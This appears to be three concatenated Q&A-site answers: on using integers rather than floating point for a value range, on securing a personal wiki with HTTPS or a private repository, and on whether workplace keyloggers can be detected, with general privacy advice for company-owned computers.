Off topic regarding what's really discussed in this Q&A, but anyway: this is no reasonable use case for floating-point values. Floating point numbers have high resolution around 0, but this degrades quickly when going towards larger values (I was told you can observe this in Minecraft, where some funny jumps occur when you get near the borders of the world). Why not just map it to the whole 64 bit integer (32 bit probably would be more than fine, too) which occupies the same space, but with a constant resolution of all values. Using floating-point variables you'd have to limit yourself to a very small value range (0..1 would probably be fine, but still then you have to deal with funny effects not too important for probabilistic calculation and waste some memory and computational power.


Is it safe to use personal wiki over http?

You used "security through obscurity" in quotes, so I don't think I need to convince you that that is not going to work.

To achieve your goals, you will need to encrypt the connection between the clients connecting and the server (with a logon). HTTPS is the simplest, lowest effort, and cheapest way to do that.

But you can also consider things like placing the site behind another technology that is encrypted, like VPNs, or if you like tinkering, you can set up tunnels and proxies.

Or, the best solution appears to be to use a free wiki service that includes logins and HTTPS. There are tons of those.

I'm also going to toss this into the mix as an alternative approach to the whole thing. Try Jekyll and GitHub. You want a wiki that will eventually be published, but you do not want to publish it yet. So, set up a Jekyll site on a private GitHub repo. You all get to work on the wiki together, in complete protection, and when you are done, you can publish the wiki on GitHub Pages. I'm sure there are alternatives to GitHub, but I'm not aware of another that offers this functionality.


Can I determine if my computer has a key logger installed?

This would greatly depend on the implementation of the keylogger.  Some enterprise-level products do include rootkits which make the keylogger nearly impossible to detect, unless you know the product in use and its configuration.  For an example, check out Spector Pro*.  Also, as syneticon-dj notes, it's possible they may instead be using a hardware keylogger which could be implemented in a way that cannot be easily detected by software.

If they've given your friend full admin rights on the box, they're either really confident in their monitoring and configuration control capabilities or they're fairly ignorant to the implications of giving such privileges to an end-user.  Often times, it's the latter.  But, if you presume the former to be the case, then you should also presume there's some solid justification for their confidence.

Regardless, it's very likely that your friend has already signed (and thereby agreed to) an Acceptable Use Policy which includes a clause that relinquishes all rights to privacy on company-owned equipment.  Further, any company worried about compliance in these matters will also have a Warning Banner on the system which reminds users at each log-in that they may be subject to monitoring on those systems.

Bottom line:  Don't do anything on company equipment that you don't want them to see.  Always presume that they are logging keystrokes, capturing screenshots (another common spyware feature), and monitoring network traffic with the possible inclusion of an SSL proxy.  Keep business on business hardware, and personal stuff on personal hardware, and you should be fine.

 * Note: This is not an endorsement of Spector Pro.  I have no affiliations with the company, nor have I used their product.  This is simply given as an example of what sort of spyware tools are available to corporations.